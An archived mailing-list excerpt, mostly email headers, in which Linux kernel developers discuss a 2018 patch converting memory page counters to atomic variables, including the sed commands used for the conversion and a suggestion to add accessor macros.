	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	In-Reply-To:References:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=gT9HY7CQ0CVH2wm9XL87ssUunf6Ji51X9FNQDnu0b4I=; b=ljHBh7EilMC1Dw
	PNibLA5y9Yz9NrTf0NboUQxxxDCLriMNDGWlAo1a8ydppb54aSxB2U0J4b95gnFte5D8ylrfT2l8r
	xec/SxwBwyUpoYz8HqwPF+nKlIs79tn437U0oLd43odAEvGJzQ0T7SHzQEsLyS8QfORXdnGdOqpNC
	vsemQLoKmYsapm6lz1SC4Jvpxt0kjvWgcgt8deiXoZi+4ldocSe/jNBcjXztN5QtTc8ge5zd5eWR/
	fVRlBhekkHnmCLq1Tazc9GSPTzmV/XwEyqcjMOKdD0xlLIPbK8DDmbPHpzs1Yp2ObdrupRX8XsLUc
	IIm62RK4N5g0RyglqvPg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gEobB-0005B7-DO; Tue, 23 Oct 2018 04:47:21 +0000
Original-Received: from mail-yb1-xb44.google.com ([2607:f8b0:4864:20::b44])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gEob7-0005A4-L9; Tue, 23 Oct 2018 04:47:19 +0000
Original-Received: by mail-yb1-xb44.google.com with SMTP id w16-v6so27610ybp.3;
 Mon, 22 Oct 2018 21:47:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:references:in-reply-to:from:date:message-id:subject:to
 :cc; bh=TlO+0k0SfBCasUX3r7X/bJP9P1ED24TAjIuARBv6nck=;
 b=dkwiM0ksWYqCCVIo+vWjiu86bPCXgnsVPRGIu0AmEooJ2evzojdi5JorLfNUJdHhp7
 CmupJ2bF4/bOgtbkD/56WbYT4g3EVcfSKdXFZ8X7RA9ujsFL61NK0v8Y6qKnSG/gwjzW
 WStbnawYjSkYPldg13qgiH223ht4tT8G/q1WqfFVUG+cXjE+uIs0xrysOuiyLDUcxEvQ
 bjvax2jkVraIx8xGS8J4VgTdqwObcn+jyOMZl3xN9we8EoPcWe60s4FSUInT2P+anmp8
 X7KsbMYwx64MCVbMalKXdOYvRkQKK0+Ro+oMh37CCSMQ7rSn5DMdu/oy+wYFhBRDtddc
 LObQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=TlO+0k0SfBCasUX3r7X/bJP9P1ED24TAjIuARBv6nck=;
 b=jc/8D9RPokFwcP/zDDXxDwW5J6OVapBljV140hXHoqHJj96g23OmwwmiUg46vqcYsE
 9Rn97QqfWMWONAWXgQhfT3kHTDN0GLjiJmYYuIzuNfQMdrw8TJoqrc/E5aItFNGheVG7
 X/7IH6ZLWSYVCZiPFY8Joub9XFer5WL6vRuPh+kHkexA6zL2L4fq0M/SMrigRDrPEgyK
 roOvnAA8w+KUuH95m+igZOiL5hYFTHS/qmiZESg4D+DWaAW+14A3nITP/SN5leoSPniZ
 arCglqWWb/t/N4AHJOhwrqqa8xhBgSFWpJax9wA7eAnGqYL+GQQT/toiwfX/7tYJWw0x
 WIgw==
X-Gm-Message-State: ABuFfogq5GUajn5sztbUDZFh3e3BH9Vtd5jHehxxc8sOOi6puR+OdqkC
 gcqDoXlarjA2+U8p8tcYWydp+bFSVLz3wXlt16k=
X-Google-Smtp-Source: ACcGV61Aok09sZz1VwmhdTA4yM5aQzDOHnnx8/Sdb5oIExzMWUZAnD1LfCF26d9FwKzbFomdjWPs15GkA+qnFxkVuRs=
X-Received: by 2002:a25:3c7:: with SMTP id
 190-v6mr34473821ybd.457.1540270023614; 
 Mon, 22 Oct 2018 21:47:03 -0700 (PDT)
In-Reply-To: <20181022181122.GK18839-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181022_214717_699362_03421BBE 
X-CRM114-Status: UNSURE (   8.21  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:b44 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (getarunks[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-mediatek.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mediatek/>
List-Post: <mailto:linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
List-Help: <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=subscribe>
Original-Sender: "Linux-mediatek" <linux-mediatek-bounces-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Errors-To: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.arm.mediatek:15562 gmane.comp.video.dri.devel:240534 gmane.comp.file-systems.ceph.devel:41928 gmane.linux.power-management.general:107420 gmane.linux.ports.parisc:29213 gmane.linux.kernel:2905822 gmane.comp.security.firewalls.netfilter.devel:74339 gmane.linux.kernel.device-mapper.devel:35186 gmane.comp.freedesktop.xorg.drivers.intel:173089 gmane.linux.drivers.video-input-infrastructure:137435 gmane.linux.ports.arm.kernel:680997 gmane.linux.file-systems.ntfs.devel:4468 gmane.linux.file-systems:142022 gmane.linux.network:562000 gmane.comp.freedesktop.amd-gfx:27358 gmane.linux.nfs:88032 gmane.linux.kernel.mm:205844 gmane.linux.ports.ppc64.devel:164801 gmane.linux.kernel.kexec:21701 gmane.linux.kernel.lsm:40831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.mediatek/15562>

On Mon, Oct 22, 2018 at 11:41 PM Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org> wrote:
>
> On Mon 22-10-18 22:53:22, Arun KS wrote:
> > Remove managed_page_count_lock spinlock and instead use atomic
> > variables.
>

Hello Michal,
> I assume this has been auto-generated. If yes, it would be better to
> mention the script so that people can review it and regenerate for
> comparision. Such a large change is hard to review manually.

Changes were made partially with script.  For totalram_pages and
totalhigh_pages,

find dir -type f -exec sed -i
's/totalram_pages/atomic_long_read(\&totalram_pages)/g' {} \;
find dir -type f -exec sed -i
's/totalhigh_pages/atomic_long_read(\&totalhigh_pages)/g' {} \;

For managed_pages it was mostly manual edits after using,
find mm/ -type f -exec sed -i
's/zone->managed_pages/atomic_long_read(\&zone->managed_pages)/g' {}
\;

Regards,
Arun

> --
> Michal Hocko
> SUSE Labs

From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arun KS <arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Newsgroups: gmane.linux.ports.arm.mediatek,gmane.comp.video.dri.devel,gmane.comp.file-systems.ceph.devel,gmane.linux.power-management.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.freedesktop.xorg.drivers.intel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.kernel,gmane.linux.file-systems.ntfs.devel,gmane.linux.file-systems,gmane.linux.network,gmane.comp.freedesktop.amd-gfx,gmane.linux.nfs,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.lsm
Subject: Re: [PATCH] mm: convert totalram_pages, totalhigh_pages and
 managed_pages to atomic.
Date: Tue, 23 Oct 2018 10:18:26 +0530
Lines: 23
Approved: news@gmane.org
Message-ID: <92d3523427e45124c71e16baabceb8c5@codeaurora.org>
References: <1540229092-25207-1-git-send-email-arunks@codeaurora.org>
 <c57bcc584b3700c483b0311881ec3ae8786f88b1.camel@perches.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540270087 21365 195.159.176.226 (23 Oct 2018 04:48:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 04:48:07 +0000 (UTC)
User-Agent: Roundcube Webmail/1.2.5
Cc: Mike Snitzer <snitzer-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
 Kemi Wang <kemi.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 "J. Bruce Fields" <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>, linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>,
 Christoph Lameter <cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org>, "K. Y. Srinivasan" <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Sumit Semwal <sumit.semwal-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
 "David \(ChunMing\) Zhou" <David1.Zhou-5C7GfCeVMHo@public.gmane.org>,
 Petr Tesarik <ptesarik-IBi9RG/b67k@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 ceph-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
 kasan-dev-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org, Marcos Paulo de Souza <marcos.souza.org-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 "Steven J. Hill" <steven.hill-YGCgFSpz5w/QT0dZR+AlfA@public.gmane.org>,
 David Rientjes <rientjes-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
 Anthony Yznaga <anthony.yznaga-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>, Daniel Vacek <neelx-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Roman Gushchin <guro-b10kYP2dOMg@public.gmane.org>, Len Brown <len.b
To: Joe Perches <joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org Tue Oct 23 06:47:46 2018
Return-path: <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Envelope-to: glpam-linux-mediatek@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>)
	id 1gEobZ-00058R-Qj
	for glpam-linux-mediatek@m.gmane.org; Tue, 23 Oct 2018 06:47:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:Message-ID:References:In-Reply-To:Subject:To:From:
	Date:MIME-Version:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=6IFQ2YZc4ArfeF9cZXZln/Im6DDB4r6MXUVy2sEljy8=; b=H6C+MdyrksX7OGKRmDqU+PArl
	nTuuXfYSf4LgSfOPvdAIxFHkx2rBoMZPMRgidytUCHguDC7khMnncLteDZ0x7o000MkMwfi6THVSR
	/RwIEfmaejaY7w8r2vDT/FQTAEqkjZhX+mtWR6PuSY7FtK9nIgve/yo5Wt2Ke5iG1nc5T+fuEPxL6
	ZfhYzVAYYxftAiwx8NVlV5buGe6UOD6jzW6KhuUSAAGAVWTEAUmAuJXT+OFyS/9Pq/MT8IgHIx7AX
	U0LfDtLv3P0vJvN3mRvc2NIuGMVqTZjFqXCGjKLFtNDW8v+5dnNMCRDlQT0+xPKXVtdk9W+3crvYM
	vgQDjgFgg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gEodU-0005rI-QD; Tue, 23 Oct 2018 04:49:44 +0000
Original-Received: from smtp.codeaurora.org ([198.145.29.96])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gEocZ-0005Tt-II; Tue, 23 Oct 2018 04:49:39 +0000
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
 id 23CD46134F; Tue, 23 Oct 2018 04:48:30 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
 s=default; t=1540270116;
 bh=dtzAW1nZDtsAh1MSgdkacD9E0lJhfSZAkRN995N8TJs=;
 h=Date:From:To:Cc:Subject:In-Reply-To:References:From;
 b=Yzp4AvzmfxApod3AvVMRM9/VSvwtME16rSo6QmUummsmDMZ5JXUdFRnR/pn1cfwpP
 wXb1CATSCl8d3P5BXWuyMnQRVMC5aPsoSybu1NLTHZEUJJajEwG4bNAvSUAJ09tocW
 SfWRULiwCiyYC7gxhEFdbw0zFt1VaExM86o6Z6h0=
Original-Received: from mail.codeaurora.org (localhost.localdomain [127.0.0.1])
 by smtp.codeaurora.org (Postfix) with ESMTP id 0DF6860C5F;
 Tue, 23 Oct 2018 04:48:27 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
 s=default; t=1540270107;
 bh=dtzAW1nZDtsAh1MSgdkacD9E0lJhfSZAkRN995N8TJs=;
 h=Date:From:To:Cc:Subject:In-Reply-To:References:From;
 b=bYaIm7G2OcCCJDBLW816Q8kMAVBokurTBwfOwmr1X/S16VklSCI+ZgBE1vofXkvlS
 /QTiMltOO8jrM0JrbIvtHC1ak5np5htf4+Hwn33cUITjbMSUQs/8eYtsTDeby1TC9C
 JRCmlPL55Lt442tTy1LcTmJ9LW9Y5VccKI1oH15k=
In-Reply-To: <c57bcc584b3700c483b0311881ec3ae8786f88b1.camel-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
X-Sender: arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181022_214847_741875_7F942EDA 
X-CRM114-Status: GOOD (  10.54  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [198.145.29.96 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-mediatek.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mediatek/>
List-Post: <mailto:linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
List-Help: <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=subscribe>
Original-Sender: "Linux-mediatek" <linux-mediatek-bounces-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Errors-To: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.arm.mediatek:15563 gmane.comp.video.dri.devel:240535 gmane.comp.file-systems.ceph.devel:41929 gmane.linux.power-management.general:107421 gmane.linux.ports.parisc:29214 gmane.linux.kernel:2905824 gmane.comp.security.firewalls.netfilter.devel:74340 gmane.linux.kernel.device-mapper.devel:35187 gmane.comp.freedesktop.xorg.drivers.intel:173090 gmane.linux.drivers.video-input-infrastructure:137436 gmane.linux.ports.arm.kernel:680999 gmane.linux.file-systems.ntfs.devel:4469 gmane.linux.file-systems:142023 gmane.linux.network:562002 gmane.comp.freedesktop.amd-gfx:27359 gmane.linux.nfs:88033 gmane.linux.kernel.mm:205845 gmane.linux.ports.ppc64.devel:164802 gmane.linux.kernel.kexec:21702 gmane.linux.kernel.lsm:40832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.mediatek/15563>

On 2018-10-23 09:45, Joe Perches wrote:
> On Mon, 2018-10-22 at 22:53 +0530, Arun KS wrote:
>> Remove managed_page_count_lock spinlock and instead use atomic
>> variables.
> 

Hello Joe,
> Perhaps better to define and use macros for the accesses
> instead of specific uses of atomic_long_<inc/dec/read>
> 
> Something like:
> 
> #define totalram_pages()	(unsigned 
> long)atomic_long_read(&_totalram_pages)
> #define totalram_pages_inc()	(unsigned 
> long)atomic_long_inc(&_totalram_pages)
> #define totalram_pages_dec()	(unsigned 
> long)atomic_long_dec(&_totalram_pages)

That sounds like a nice idea.

Regards,
Arun

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Huang\, Ying" <ying.huang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.ports.arm.mediatek,gmane.comp.video.dri.devel,gmane.comp.file-systems.ceph.devel,gmane.linux.power-management.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.freedesktop.xorg.drivers.intel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.kernel,gmane.linux.file-systems.ntfs.devel,gmane.linux.file-systems,gmane.linux.network,gmane.comp.freedesktop.amd-gfx,gmane.linux.nfs,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.lsm
Subject: Re: [PATCH] mm: convert totalram_pages,
 totalhigh_pages and managed_pages to atomic.
Date: Tue, 23 Oct 2018 13:37:01 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <874lddxlz6.fsf@yhuang-dev.intel.com>
References: <1540229092-25207-1-git-send-email-arunks@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540272970 6514 195.159.176.226 (23 Oct 2018 05:36:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 05:36:10 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.2 (gnu/linux)
Cc: Mike Snitzer <snitzer-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
 Kemi Wang <kemi.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 "J. Bruce Fields" <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>, linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>,
 Christoph Lameter <cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org>, "K. Y. Srinivasan" <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Sumit Semwal <sumit.semwal-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
 "David \(ChunMing\) Zhou" <David1.Zhou-5C7GfCeVMHo@public.gmane.org>,
 Petr Tesarik <ptesarik-IBi9RG/b67k@public.gmane.org>, Michael
 Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>, ceph-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>, kasan-dev-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
 Marcos Paulo de Souza <marcos.souza.org-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 "Steven J. Hill" <steven.hill-YGCgFSpz5w/QT0dZR+AlfA@public.gmane.org>,
 David Rientjes <rientjes-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
 Anthony Yznaga <anthony.yznaga-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>, Daniel Vacek <neelx-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Roman Gushchin <guro-b10kYP2dOMg@public.gmane.org>, Len Brown <len.
To: Arun KS <arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Original-X-From: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org Tue Oct 23 07:35:48 2018
Return-path: <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Envelope-to: glpam-linux-mediatek@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>)
	id 1gEpM2-0001Db-O4
	for glpam-linux-mediatek@m.gmane.org; Tue, 23 Oct 2018 07:35:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-ID:In-Reply-To:
	Date:References:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=BVlIp3GYDVycXWwk6xUd19vKDLBS+mSnpuRIplG5z+k=; b=twxqaDKAFB6mjQ
	pK/S7HRVzszFUZ5Ecy5RKZUEb3jgGb5McmG8ejK8QG+jSv5jhftwlZnpC/aCzjzkgBbv32B/vmbFp
	+MBTPKRq8weLmTsSmZiCTDQs+2qo9HK5hqO0SmRc2uzAMkCFvJeQhuLiohAQCDhgsqRMst7lLjSSR
	tQqVoA5faZ9gQvHuwyUDoa6xzkRqk7cRGJZp38qMJsHPGUQtTNnAwG5tztNpCt+7vUY86TLwubpjS
	vFhmuL/Vmv0HUOmB0+f1bgNhXtmXUcTI9Y4yf54euH956sid/uVk+5YAZtDrczvx6nieE99lgNYKh
	95Hs1vVIKUPlH8+7hwzA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gEpNw-0005zq-DH; Tue, 23 Oct 2018 05:37:44 +0000
Original-Received: from mga01.intel.com ([192.55.52.88])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gEpNr-0005yv-KC; Tue, 23 Oct 2018 05:37:42 +0000
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
 by fmsmga101.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 22 Oct 2018 22:37:28 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.54,414,1534834800"; d="scan'208";a="99849695"
Original-Received: from yhuang-dev.sh.intel.com (HELO yhuang-dev) ([10.239.13.27])
 by fmsmga004.fm.intel.com with ESMTP; 22 Oct 2018 22:37:02 -0700
In-Reply-To: <1540229092-25207-1-git-send-email-arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org> (Arun
 KS's message of "Mon, 22 Oct 2018 22:53:22 +0530")
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181022_223739_696346_0F0F1288 
X-CRM114-Status: GOOD (  13.64  )
X-Spam-Score: -5.0 (-----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-5.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [192.55.52.88 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-mediatek.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mediatek/>
List-Post: <mailto:linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
List-Help: <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=subscribe>
Original-Sender: "Linux-mediatek" <linux-mediatek-bounces-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Errors-To: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
